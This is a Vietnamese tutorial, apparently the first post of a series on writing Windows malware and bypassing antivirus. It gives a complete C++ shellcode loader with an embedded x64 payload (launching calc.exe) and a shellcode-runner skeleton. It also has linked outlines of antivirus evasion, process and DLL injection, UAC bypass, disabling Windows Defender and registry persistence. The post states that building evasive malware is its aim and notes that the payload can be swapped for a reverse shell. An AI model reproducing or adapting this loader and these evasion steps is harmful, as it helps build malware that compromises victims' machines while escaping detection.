Trước khi chúng ta tìm hiểu về malware, bạn đọc nên phân biệt sự khác nhau giữa spyware, malware, virus, trojan, worm hay rootkit… và phải có hiểu biết sơ qua về Assembly, cách bộ xử lí, bộ nhớ hoạt động,...

Có thể tìm hiểu về x86 Assembly từ trang cocomelonc tại: Part 1, Part 2.

Malware (phần mềm độc hại) về cơ bản là bất kỳ loại phần mềm nào có ý định làm hại vào máy tính (thu thập thông tin, truy cập dữ liệu nhạy cảm…) Malware bao gồm virus, trojan, rootkit, worm, keylogger, spyware, adware, v.v... Bây giờ, chúng ta đi sâu phân tích malware.

Series này sẽ tập trung tìm hiểu về cách tạo ra một malware, bypass AV (anti virus). Không khuyến khích sử dụng những bài viết này vào mục đích trái phép. Nội dung của bài viết sẽ dựa trên kinh nghiệm cá nhân mình và trang cocomelonc.

Để test bất kỳ một ứng dụng hay tệp tin nào có nguy hiểm hay không, bạn đọc có thể sử dụng trang VirusTotal.

Có thể viết malware trên nhiều ngôn ngữ như C, Python,... Tuy nhiên, series này chủ yếu sẽ sử dụng C bởi tính gọn nhẹ, low level,...

Bắt đầu với một malware viết bằng C++ đơn giản:


/*
cpp implementation malware example with calc.exe payload
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// our payload calc.exe
unsigned char my_payload[] = {
  0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
  0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
  0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
  0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
  0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
  0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
  0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
  0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
  0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
  0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
  0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
  0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
  0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
  0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
  0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
  0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
  0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
  0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
  0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
  0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
  0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
  0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
  0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};
unsigned int my_payload_len = sizeof(my_payload);

int main(void) {
  void * my_payload_mem; // memory buffer for payload
  BOOL rv;
  HANDLE th;
  DWORD oldprotect = 0;

  // Allocate a memory buffer for payload
  my_payload_mem = VirtualAlloc(0, my_payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

  // copy payload to buffer
  RtlMoveMemory(my_payload_mem, my_payload, my_payload_len);

  // make new buffer as executable
  rv = VirtualProtect(my_payload_mem, my_payload_len, PAGE_EXECUTE_READ, &oldprotect);
  if ( rv != 0 ) {

    // run payload
    th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) my_payload_mem, 0, 0, 0);
    WaitForSingleObject(th, -1);
  }
  return 0;
}

Chương trình trên sẽ thực thi đoạn mã ở trong my_payload. Đoạn mã đó được gọi là shell code, được viết bằng Assembly và chuyển sang dạng hex. Chúng ta có thể viết đoạn mã để chạy một chương trình khác, can thiệp process hay memory, rce thông qua reverse shell,... Đoạn mã bên trên được viết để khởi chạy calc.exe trên Windows.

VirtualAlloc là hàm để tạo vùng nhớ theo yêu cần, về chức năng nó giống malloc trong C. MEM_RESERVE dùng để tạo ô nhớ ảo, còn MEM_COMMIT dùng để link ô nhớ ảo với ô nhớ physical. PAGE_READWRITE là quyền hạn với vùng nhớ, cho phép đọc và ghi.

RtlMoveMemory dùng để copy payload vào vùng nhớ.

VirtualProtect dùng để thay đổi quyền hạn từ đọc & ghi thành đọc & thực thi. Lí do không để cả 3 quyền hạn từ đầu cho vùng nhớ là vì thông thường một vùng nhớ chỉ có 2 quyền hạn, nếu có tới 3 thì bất thường và dễ bị AV phát hiện.

Cuối cùng, CreateThread dùng để khởi chạy payload ở một thread khác trong chương trình này.

Sau khi compile và chạy chúng ta sẽ đạt được kết quả như đã nêu trên.

Chúng ta có thể dịch ngược file PE này và dễ dàng thấy các hàm đã được sử dụng cũng như payload của chúng ta. Có nhiều công cụ dịch ngược như Ghidra, IDA,...

Đây là kết quả của VirusTotal trả về khi quét file PE này, 49/71 AV phát hiện: Here.

Shellcoding

Shellcoding là gì ?

Thuật ngữ shell code bắt nguồn từ một program từ xưa bị khai thác lỗ hổng và mở remote shell, từ đó kẻ tấn công có thể tương tác với hệ thống của nạn nhân. Và như ở trên, chúng ta đã thấy được shell code được sử dụng như thế nào. Mục đích sử dụng của shell code là để inject vào các program bị khai thác, và điều này thuận tiện hơn nhiều so với cách đưa code của các ngôn ngữ lập trình vào.

Bạn đọc có thể viết Assembly shellcode trả về 0 và test shellcode của mình viết sử dụng đoạn code C này:

/*
run.c - a small skeleton program to run shellcode by cocomelonc
*/
// bytecode here
char code[] = "my shellcode here";

int main(int argc, char **argv) {
  int (*func)();             // function pointer
  func = (int (*)()) code;   // func points to our shellcode
  (int)(*func)();            // execute a function code[]
  // if our program returned 0 instead of 1, 
  // so our shellcode worked
  return 1;
}

Đoạn code trên dùng để thực thi những gì được viết trong shellcode. Chúng ta cũng có thể viết lại ví dụ malware bên trên chỉ bằng shellcode.

AV Evasion

Để tránh bị AV phát hiện, chúng ta có nhiều cách như:

 - Ẩn sự hiện diện của chuỗi và lời gọi hàm bằng thư viện: ADVobfuscator
 - Mã hoá đối xứng payload, rồi sau khi khởi tạo giá trị cho payload thì decrypt payload: Here
 - Function Call Obfuscation (ẩn DLL & external functions) bằng GetProcAddress, GetModuleHandle & XOR: Here
 - Allocate và lấp đầy 100MB bộ nhớ: Here
 - Function Call Obfuscation (ẩn DLL & external functions) làm rối GetProcAddress sử dụng ordinal & EDT: Here
 - Function Call Obfuscation bằng cách so sánh hash: Here
 - Check máy ảo VirtualBox bằng registry keys: Here
 - Ẩn GetModuleHandle: Here
 - Ẩn GetProcAddress: Here
 - Leo thang đặc quyền (bypass UAC) sử dụng fodhelper.exe: Here

Injection

Một số phương pháp để inject payload và thực thi:

 - Inject code vào process khác: Here
 - Inject DLL file vào process (tạo DLL Main và khởi chạy vùng nhớ chứa nó): Here
 - Tìm PID theo tên process: Here
 - APC (Asynchronous procedure call)...

Persistence

Bên cạnh việc inject malware và bypass AV, chúng ta cũng cần quan tâm tới cách để kéo dài thời lượng của malware trên máy nạn nhân. Có nhiều cách như:

 - Sử dụng run keys trong registry: Here
 - DLL
 - Windows Services
 - Disable Windows Defender: Here
 - Winlogon

Further Research

Sau khi đã có kiến thức cơ bản về malware, bạn đọc có thể tìm hiểu các cách thức xây dựng malware dựa trên những mẫu malware được sử dụng thật trong quá khứ thông qua những nguồn như: Vx Underground.